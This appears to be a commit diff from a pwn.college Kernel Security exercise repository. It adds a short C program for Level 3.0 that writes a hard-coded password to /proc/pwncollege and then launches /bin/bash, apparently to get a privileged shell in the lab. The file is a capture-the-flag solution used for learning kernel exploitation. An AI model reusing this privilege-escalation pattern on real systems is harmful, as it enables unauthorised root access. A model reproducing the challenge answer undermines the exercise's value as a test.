Added Level 3.0 ~ 8.1 of KernelSecurity in PwnCollege

PwnCollege/KernelSecurity/Level3.0/exploit.c

@@ -0,0 +1,8 @@
+#include <stdlib.h>
+#include <fcntl.h>
+#include <unistd.h>
+int main() {
+    int fd = open("/proc/pwncollege", O_WRONLY);
+    write(fd, "oiwqgsfsdekebbgi", 0x10);
+    execve("/bin/bash", NULL, NULL);
+}